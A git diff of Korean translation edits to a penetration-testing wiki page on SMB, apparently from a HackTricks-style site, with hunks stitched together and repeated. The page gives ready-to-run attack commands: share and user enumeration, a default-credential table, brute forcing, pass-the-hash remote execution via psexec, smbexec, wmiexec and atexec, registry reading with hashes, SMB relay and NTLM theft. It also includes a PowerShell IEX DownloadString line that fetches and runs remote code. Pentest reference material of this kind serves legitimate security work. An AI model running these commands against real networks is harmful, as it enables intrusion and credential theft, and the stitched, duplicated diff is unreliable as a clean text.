이 기능은 네트워크 관리자가 SMB (서버 메시지 블록) 서비스의 보안 태세를 평가하는 데 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경에 대한 포괄적인 뷰를 제공하며, 이는 잠재적인 취약점을 식별하고 SMB 서비스가 적절하게 보호되고 있는지 확인하는 데 필수적입니다.
이 기능은 네트워크 관리자가 SMB (서버 메시지 블록) 서비스의 보안 상태를 평가하는 데 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경에 대한 포괄적인 뷰를 제공하여 잠재적인 취약점을 식별하고 SMB 서비스가 적절하게 보호되고 있는지 확인하는 데 필수적입니다.
```bash
enum4linux -a target_ip
```
@ -40,7 +40,7 @@ enum4linux -a target_ip
## NTLM이란
NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게 악용할 수 있는지 알고 싶다면, **이 프로토콜이 어떻게 작동하는지와 이를 어떻게 활용할 수 있는지 설명하는** **NTLM**에 대한 이 페이지가 매우 흥미로울 것입니다:
NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 그리고 어떻게 악용할 수 있는지 알고 싶다면, **이 프로토콜이 어떻게 작동하는지와 이를 어떻게 활용할 수 있는지 설명하는** **NTLM**에 대한 이 페이지가 매우 흥미로울 것입니다:
{{#ref}}
../windows-hardening/ntlm/
@ -48,15 +48,15 @@ NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게
## **서버 열거**
### **호스트**를 검색하여 네트워크 스캔:
### **호스트 검색을 위한** 네트워크 스캔:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB 서버 버전
SMB 버전의 가능한 취약점을 찾으려면 어떤 버전이 사용되고 있는지 아는 것이 중요합니다. 이 정보가 다른 도구에서 나타나지 않는 경우, 다음을 사용할 수 있습니다:
SMB 버전에 대한 가능한 취약점을 찾으려면 어떤 버전이 사용되고 있는지 아는 것이 중요합니다. 이 정보가 다른 도구에서 나타나지 않는 경우, 다음을 사용할 수 있습니다:
- **MSF** 보조 모듈 \_**auxiliary/scanner/smb/smb_version**
- **MSF** 보조 모듈 _**auxiliary/scanner/smb/smb_version**_ 사용
- 또는 이 스크립트:
```bash
#!/bin/sh
@ -82,14 +82,14 @@ searchsploit microsoft smb
### **가능한** 자격 증명
| **사용자 이름** | **일반 비밀번호** |
| -------------------- | ----------------------------------------- |
| _(빈칸)_ | _(빈칸)_ |
| guest | _(빈칸)_ |
| Administrator, admin | _(빈칸)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
| -------------------- | --------------------------------------- |
| _(빈칸)_ | _(빈칸)_ |
| 게스트 | _(빈칸)_ |
| 관리자, admin | _(빈칸)_, 비밀번호, 관리자, admin |
| arcserve | arcserve, 백업 |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, 백업, arcada |
| test, lab, demo | 비밀번호, test, lab, demo |
### 무차별 대입 공격
@ -133,7 +133,7 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### 로컬 사용자 열거
### 로컬 사용자 나열
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
@ -212,7 +212,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
(_**Network Security Assessment 3rd edition**_의 일반적인 공유 이름)
다음 명령을 사용하여 이들에 연결해 볼 수 있습니다.
다음 명령어를 사용하여 이들에 연결해 볼 수 있습니다.
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
### **Windows에서 공유 목록 열기 / 서드파티 도구 없이**
PowerShell
```powershell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **파일 다운로드**
자격 증명/Pass-the-Hash로 연결하는 방법을 배우려면 이전 섹션을 읽으십시오.
이전 섹션을 읽어 자격 증명/Pass-the-Hash로 연결하는 방법을 배우십시오.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -291,7 +291,7 @@ smbclient //<IP>/<share>
```
명령어:
- mask: 디렉토리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: ""는 모든 파일)
- mask: 디렉토리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: ""는 모든 파일에 해당)
- recurse: 재귀를 켭니다 (기본값: 꺼짐)
- prompt: 파일 이름에 대한 프롬프트를 끕니다 (기본값: 켜짐)
- mget: 호스트에서 클라이언트 머신으로 마스크와 일치하는 모든 파일을 복사합니다
@ -300,7 +300,7 @@ smbclient //<IP>/<share>
### 도메인 공유 폴더 검색
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -310,15 +310,19 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
특히 흥미로운 공유 파일은 **`Registry.xml`**로, 이는 **autologon**이 Group Policy를 통해 구성된 사용자에 대한 비밀번호를 **포함할 수 있습니다**. 또는 **`web.config`** 파일은 자격 증명을 **포함하고 있습니다**.
특히 흥미로운 공유는 **`Registry.xml`** 파일로, 이는 **autologon**으로 구성된 사용자에 대한 비밀번호를 포함할 수 있습니다. 또는 **`web.config`** 파일은 자격 증명을 포함하고 있습니다.
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
> [!NOTE]
> **SYSVOL 공유**는 도메인 내 모든 인증된 사용자가 **읽을 수 있습니다**. 그 안에는 다양한 배치, VBScript 및 PowerShell **스크립트**가 **있을 수 있습니다**.\
> 그 안의 **스크립트**를 **확인**해야 하며, **비밀번호**와 같은 민감한 정보를 **찾을 수 있습니다**.
> **SYSVOL 공유**는 도메인 내 모든 인증된 사용자가 **읽을 수** 있습니다. 그 안에는 다양한 배치, VBScript 및 PowerShell **스크립트**가 있을 수 있습니다.\
> 그 안의 **스크립트**를 **확인**해야 하며, **비밀번호**와 같은 민감한 정보를 **찾을** 수 있습니다.
## 레지스트리 읽기
발견된 자격 증명을 사용하여 **레지스트리를 읽을 수 있습니다**. Impacket **`reg.py`**를 사용하여 시도할 수 있습니다:
발견된 자격 증명을 사용하여 **레지스트리**를 **읽을 수** 있습니다. Impacket **`reg.py`**를 사용하여 시도할 수 있습니다:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -333,15 +337,15 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
| `browseable = yes` | 현재 공유에서 사용 가능한 공유 목록을 허용합니까? |
| `read only = no` | 파일의 생성 및 수정을 금지합니까? |
| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있도록 허용합니까? |
| `guest ok = yes` | 비밀번호 없이 서비스에 연결할 수 있도록 허용합니까? |
| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? |
| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 할당되어야 합니까? |
| `directory mask = 0777` | 새로 생성된 디렉토리에 어떤 권한이 할당되어야 합니까? |
| `logon script = script.sh` | 사용자의 로그인 시 실행해야 하는 스크립트는 무엇입니까? |
| `magic script = script.sh` | 스크립트가 종료될 때 실행해야 하는 스크립트는 무엇입니까? |
| `magic output = script.out` | 마법 스크립트의 출력이 저장되어야 하는 위치는 어디입니까? |
| `guest ok = yes` | 비밀번호 없이 서비스에 연결할 수 있도록 허용합니까? |
| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? |
| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 할당되어야 합니까? |
| `directory mask = 0777` | 새로 생성된 디렉토리에 어떤 권한이 할당되어야 합니까? |
| `logon script = script.sh` | 사용자의 로그인 시 실행해야 하는 스크립트는 무엇입니까? |
| `magic script = script.sh` | 스크립트가 종료될 때 실행해야 하는 스크립트는 무엇입니까? |
| `magic output = script.out` | 마법 스크립트의 출력이 저장되어야 하는 위치는 어디입니까? |
명령어 `smbstatus`는 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다.
`smbstatus` 명령은 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다.
## Authenticate using Kerberos
@ -378,8 +382,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
두 옵션은 **새로운 서비스를 생성**합니다 (_\pipe\svcctl_을 SMB를 통해 사용) 피해자 머신에서 이를 사용하여 **무언가를 실행**합니다 (**psexec**는 **실행 파일을 ADMIN$ 공유에 업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수로 페이로드를 넣습니다 --**파일 없는 기법-**-).\
**자세한 정보**는 [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)와 [**smbexec**](../windows-hardening/ntlm/smbexec.md)를 참조하십시오.\
두 옵션은 **새 서비스를 생성**합니다 (_\pipe\svcctl_을 사용하여 SMB를 통해) 피해자 머신에서 이를 사용하여 **무언가를 실행**합니다 (**psexec**는 **실행 파일을 ADMIN$ 공유에 업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수에 페이로드를 넣습니다 --**파일 없는 기법-**-).\
**자세한 정보**는 [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)와 [**smbexec**](../windows-hardening/ntlm/smbexec.md)를 참조하세요.\
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다.
```bash
#If no password is provided, it will be prompted
@ -388,7 +392,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**매개변수**`-k`를 사용하면 **NTLM** 대신 **kerberos**에 대해 인증할 수 있습니다.
**매개변수**`-k`를 사용하면 **kerberos**를 통해 **NTLM** 대신 인증할 수 있습니다.
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
@ -409,7 +413,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
SMB를 통해 작업 스케줄러를 통해 명령을 실행합니다 (_\pipe\atsvc_ 사용).\
SMB를 통해 Task Scheduler를 통해 명령을 실행합니다 (_\pipe\atsvc_ 사용).\
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다.
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@ -421,19 +425,19 @@ SMB를 통해 작업 스케줄러를 통해 명령을 실행합니다 (_\pipe\at
## **사용자 자격 증명 무차별 대입**
**이것은 권장되지 않으며, 허용된 최대 시도를 초과하면 계정이 차단될 수 있습니다**
**권장하지 않습니다. 최대 허용 시도를 초과하면 계정이 차단될 수 있습니다.**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB 릴레이 공격
이 공격은 Responder 툴킷을 사용하여 **내부 네트워크에서 SMB 인증 세션을 캡처**하고, 이를 **대상 머신**으로 **릴레이**합니다. 인증 **세션이 성공적**이면 자동으로 **시스템** **셸**로 진입하게 됩니다.\
이 공격은 Responder 툴킷을 사용하여 **내부 네트워크에서 SMB 인증 세션을 캡처**하고, 이를 **대상 머신**으로 **중계**합니다. 인증 **세션이 성공하면**, 자동으로 **시스템** **셸**로 진입하게 됩니다.\
[**이 공격에 대한 더 많은 정보는 여기에서 확인하세요.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐츠에 접근하려고 할 때 호스트에 자동으로 인증을 시도합니다. 예를 들어: `img src="\\10.10.10.10\path\image.jpg"`
Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐츠에 접근하려고 할 때 자동으로 호스트에 인증을 시도합니다. 예를 들어: `img src="\\10.10.10.10\path\image.jpg"`
이는 다음 함수에서 발생합니다:
@ -450,9 +454,9 @@ Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐
![출처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>)
## NTLM 도난
## NTLM 탈취
SMB 트래핑과 유사하게, 악성 파일을 대상 시스템에 심는 것(SMB를 통해 예를 들어)도 SMB 인증 시도를 유도할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](pentesting-smb.md#smb-relay-attack)에 사용될 수 있습니다.
SMB 트래핑과 유사하게, 악성 파일을 대상 시스템에 심으면(SMB를 통해 예를 들어) SMB 인증 시도가 발생할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](pentesting-smb.md#smb-relay-attack)에 사용될 수 있습니다.
[참조: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

80
src/network-services-pentesting/pentesting-smb/README.md
View File

@ -4,7 +4,7 @@
## **Port 139**
_**네트워크 기본 입출력 시스템**_\*\* (NetBIOS)\*\*는 로컬 영역 네트워크 (LAN) 내의 애플리케이션, PC 및 데스크탑이 네트워크 하드웨어와 상호 작용하고 **네트워크를 통한 데이터 전송을 용이하게 하기 위해 설계된 소프트웨어 프로토콜**입니다. NetBIOS 네트워크에서 작동하는 소프트웨어 애플리케이션의 식별 및 위치는 최대 16자 길이의 NetBIOS 이름을 통해 이루어지며, 이는 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트 역할)이 **TCP 포트 139**를 사용하여 다른 애플리케이션(서버 역할)을 "호출"하는 명령을 발행할 때 시작됩니다.
_**네트워크 기본 입출력 시스템**_** (NetBIOS)**는 로컬 영역 네트워크(LAN) 내의 애플리케이션, PC 및 데스크탑이 네트워크 하드웨어와 상호 작용하고 **네트워크를 통한 데이터 전송을 용이하게 하기 위해 설계된 소프트웨어 프로토콜**입니다. NetBIOS 네트워크에서 작동하는 소프트웨어 애플리케이션의 식별 및 위치는 최대 16자 길이의 NetBIOS 이름을 통해 이루어지며, 이는 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트 역할)이 **TCP 포트 139**를 사용하여 다른 애플리케이션(서버 역할)을 "호출"하는 명령을 발행할 때 시작됩니다.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -12,15 +12,15 @@ _**네트워크 기본 입출력 시스템**_\*\* (NetBIOS)\*\*는 로컬 영역
기술적으로, Port 139은 ‘NBT over IP’로 언급되며, Port 445는 ‘SMB over IP’로 식별됩니다. 약어 **SMB**는 ‘**Server Message Blocks**’를 의미하며, 현대적으로는 **Common Internet File System (CIFS)**로 알려져 있습니다. 애플리케이션 계층 네트워크 프로토콜로서, SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고, 네트워크의 노드 간 다양한 형태의 통신을 촉진하는 데 사용됩니다.
예를 들어, Windows의 맥락에서 SMB는 TCP/IP를 통해 직접 작동할 수 있으며, 이는 port 445를 활용하여 TCP/IP를 통한 NetBIOS의 필요성을 제거합니다. 반대로, 다른 시스템에서는 port 139의 사용이 관찰되며, 이는 SMB가 TCP/IP를 통한 NetBIOS와 함께 실행되고 있음을 나타냅니다.
예를 들어, Windows의 맥락에서 SMB는 TCP/IP를 통해 직접 작동할 수 있으며, 이는 포트 445를 사용하여 TCP/IP를 통한 NetBIOS의 필요성을 제거합니다. 반대로, 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 TCP/IP를 통한 NetBIOS와 함께 실행되고 있음을 나타냅니다.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
**서버 메시지 블록 (SMB)** 프로토콜은 **클라이언트-서버** 모델에서 작동하며, **파일**, 디렉토리 및 프린터와 라우터와 같은 기타 네트워크 리소스에 대한 **접근**을 규제하기 위해 설계되었습니다. 주로 **Windows** 운영 체제 시리즈 내에서 사용되며, SMB는 하위 호환성을 보장하여 Microsoft의 운영 체제의 최신 버전을 실행하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 합니다. 또한, **Samba** 프로젝트는 SMB의 구현을 **Linux** 및 Unix 시스템에서 가능하게 하는 무료 소프트웨어 솔루션을 제공하여 SMB를 통한 크로스 플랫폼 통신을 촉진합니다.
**서버 메시지 블록 (SMB)** 프로토콜은 **클라이언트-서버** 모델에서 작동하며, **파일**, 디렉토리 및 프린터, 라우터와 같은 기타 네트워크 리소스에 대한 **접근**을 규제하기 위해 설계되었습니다. 주로 **Windows** 운영 체제 시리즈 내에서 사용되며, SMB는 하위 호환성을 보장하여 Microsoft의 운영 체제의 최신 버전을 사용하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 합니다. 또한, **Samba** 프로젝트는 SMB를 **Linux** 및 Unix 시스템에서 구현할 수 있는 무료 소프트웨어 솔루션을 제공하여 SMB를 통한 크로스 플랫폼 통신을 촉진합니다.
SMB 서버는 **로컬 파일 시스템의 임의 부분**을 나타내는 공유를 제공할 수 있으며, 클라이언트에게 서버의 실제 구조와 부분적으로 **독립적인** 계층 구조를 보여줍니다. **접근 제어 목록 (ACLs)**은 **접근 권한**을 정의하며, **`execute`**, **`read`**, **`full access`**와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 허용합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에서 설정된 로컬 권한과는 구별됩니다.
**임의의 로컬 파일 시스템 부분**을 나타내는 공유는 SMB 서버에 의해 제공될 수 있으며, 클라이언트에게 서버의 실제 구조와 부분적으로 **독립적인** 계층을 보여줍니다. **접근 제어 목록 (ACLs)**은 **접근 권한**을 정의하며, **`execute`**, **`read`**, **`full access`**와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 허용합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에서 설정된 로컬 권한과는 다릅니다.
### IPC$ Share
@ -32,11 +32,11 @@ IPC$ 공유에 대한 접근은 익명 널 세션을 통해 얻을 수 있으며
- 사용 가능한 SMB 공유에 대한 정보
- 효과적인 시스템 보안 정책
이 기능은 네트워크 관리자가 SMB (서버 메시지 블록) 서비스의 보안 태세를 평가하는 데 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경에 대한 포괄적인 뷰를 제공하며, 이는 잠재적인 취약점을 식별하고 SMB 서비스가 적절하게 보호되도록 하는 데 필수적입니다.
이 기능은 네트워크 관리자가 SMB (서버 메시지 블록) 서비스의 보안 상태를 평가하는 데 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경에 대한 포괄적인 뷰를 제공하여 잠재적인 취약점을 식별하고 SMB 서비스가 적절하게 보호되고 있는지 확인하는 데 필수적입니다.
```bash
enum4linux -a target_ip
```
위의 명령은 `enum4linux`를 사용하여 `target_ip`로 지정된 대상에 대해 전체 열거를 수행하는 방법의 예입니다.
위의 명령은 `target_ip`로 지정된 대상을 대상으로 전체 열거를 수행하기 위해 `enum4linux`를 사용하는 방법의 예입니다.
## NTLM이란
@ -48,15 +48,15 @@ NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게
## **서버 열거**
### **호스트**를 검색하여 네트워크 스캔:
### **호스트 검색을 위한** 네트워크 스캔:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB 서버 버전
SMB 버전에 대한 가능한 익스플로잇을 찾으려면 어떤 버전이 사용되고 있는지 아는 것이 중요합니다. 이 정보가 다른 도구에서 나타나지 않는 경우, 다음을 사용할 수 있습니다:
SMB 버전에 대한 가능한 익스플로잇을 찾으려면 어떤 버전이 사용되고 있는지 아는 것이 중요합니다. 이 정보가 다른 사용된 도구에 나타나지 않는 경우, 다음을 사용할 수 있습니다:
- **MSF** 보조 모듈 \_**auxiliary/scanner/smb/smb_version**
- **MSF** 보조 모듈 `**auxiliary/scanner/smb/smb_version**`
- 또는 이 스크립트:
```bash
#!/bin/sh
@ -82,14 +82,14 @@ searchsploit microsoft smb
### **가능한** 자격 증명
| **사용자 이름** | **일반 비밀번호** |
| -------------------- | ----------------------------------------- |
| _(빈칸)_ | _(빈칸)_ |
| guest | _(빈칸)_ |
| -------------------- | --------------------------------------- |
| _(빈칸)_ | _(빈칸)_ |
| guest | _(빈칸)_ |
| Administrator, admin | _(빈칸)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### 무차별 대입 공격
@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
### **Windows에서 공유 목록 열기 / 서드파티 도구 없이**
PowerShell
```powershell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
@ -291,7 +291,7 @@ smbclient //<IP>/<share>
```
명령어:
- mask: 디렉토리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: ""는 모든 파일)
- mask: 디렉토리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: "" 모든 파일에 대해)
- recurse: 재귀를 켭니다 (기본값: 꺼짐)
- prompt: 파일 이름에 대한 프롬프트를 끕니다 (기본값: 켜짐)
- mget: 호스트에서 클라이언트 머신으로 마스크와 일치하는 모든 파일을 복사합니다
@ -300,7 +300,7 @@ smbclient //<IP>/<share>
### 도메인 공유 폴더 검색
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -314,11 +314,11 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
> [!NOTE]
> **SYSVOL 공유**는 도메인 내 모든 인증된 사용자가 **읽을 수 있습니다**. 그 안에는 다양한 배치, VBScript 및 PowerShell **스크립트**가 **있을 수 있습니다**.\
> 그 안의 **스크립트**를 **확인해야** 하며, **비밀번호**와 같은 민감한 정보를 **찾을 수 있습니다**.
> 그 안의 **스크립트**를 **확인**해야 하며, **비밀번호**와 같은 민감한 정보를 **찾을 수 있습니다**.
## 레지스트리 읽기
발견된 자격 증명을 사용하여 **레지스트리를 읽을 수 있습니다**. Impacket **`reg.py`**를 사용하여 시도할 수 있습니다:
발견된 자격 증명을 사용하여 **레지스트리**를 **읽을 수 있습니다**. Impacket **`reg.py`**를 사용하여 시도할 수 있습니다:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -326,26 +326,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
**Samba** 서버의 **기본 구성**은 일반적으로 `/etc/samba/smb.conf`에 위치하며, 몇 가지 **위험한 구성**이 있을 수 있습니다:
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| **설정** | **설명** |
| --------------------------- | --------------------------------------------------------------- |
| `browseable = yes` | 현재 공유에서 사용 가능한 공유 목록을 허용합니까? |
| `read only = no` | 파일의 생성 및 수정을 금지합니까? |
| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있도록 허용합니까? |
| `guest ok = yes` | 비밀번호 없이 서비스에 연결할 수 있도록 허용합니까? |
| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? |
| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 할당되어야 합니까? |
| `directory mask = 0777` | 새로 생성된 디렉토리에 어떤 권한이 할당되어야 합니까? |
| `logon script = script.sh` | 사용자의 로그인 시 실행해야 하는 스크립트는 무엇입니까? |
| `magic script = script.sh` | 스크립트가 종료될 때 실행해야 하는 스크립트는 무엇입니까? |
| `magic output = script.out` | 마법 스크립트의 출력이 저장되어야 하는 위치는 어디입니까? |
| `read only = no` | 파일의 생성 및 수정을 금지합니까? |
| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있도록 허용합니까? |
| `guest ok = yes` | 비밀번호 없이 서비스에 연결할 수 있도록 허용합니까? |
| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? |
| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 할당되어야 합니까? |
| `directory mask = 0777` | 새로 생성된 디렉토리에 어떤 권한이 할당되어야 합니까? |
| `logon script = script.sh` | 사용자의 로그인 시 어떤 스크립트를 실행해야 합니까? |
| `magic script = script.sh` | 스크립트가 종료될 때 어떤 스크립트를 실행해야 합니까? |
| `magic output = script.out` | 마법 스크립트의 출력이 어디에 저장되어야 합니까? |
The command `smbstatus` gives information about the **server** and about **who is connected**.
`smbstatus` 명령은 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다.
## Authenticate using Kerberos
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
**smbclient** 및 **rpcclient** 도구를 사용하여 **kerberos**에 **인증**할 수 있습니다:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -379,7 +379,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
두 옵션 모두 **새 서비스를 생성**합니다 (_\pipe\svcctl_을 사용하여 SMB를 통해) 피해자 머신에서 이를 사용하여 **무언가를 실행**합니다 (**psexec**는 **실행 파일을 ADMIN$ 공유에 업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수에 페이로드를 넣습니다 --**파일 없는 기법-**-).\
**자세한 정보**는 [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)와 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)를 참조하십시오.\
**자세한 정보**는 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)와 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)를 참조하십시오.\
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다.
```bash
#If no password is provided, it will be prompted
@ -388,7 +388,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**매개변수**`-k`를 사용하면 **kerberos**를 통해 **NTLM** 대신 인증할 수 있습니다.
**매개변수**`-k`를 사용하면 **NTLM** 대신 **kerberos**에 대해 인증할 수 있습니다.
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
@ -421,14 +421,14 @@ SMB를 통해 Task Scheduler를 통해 명령을 실행합니다 (_\pipe\atsvc_
## **사용자 자격 증명 무차별 대입**
**이것은 권장되지 않으며, 허용된 최대 시도를 초과하면 계정이 차단될 수 있습니다**
**이것은 권장되지 않으며, 최대 허용 시도를 초과하면 계정이 차단될 수 있습니다**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB 릴레이 공격
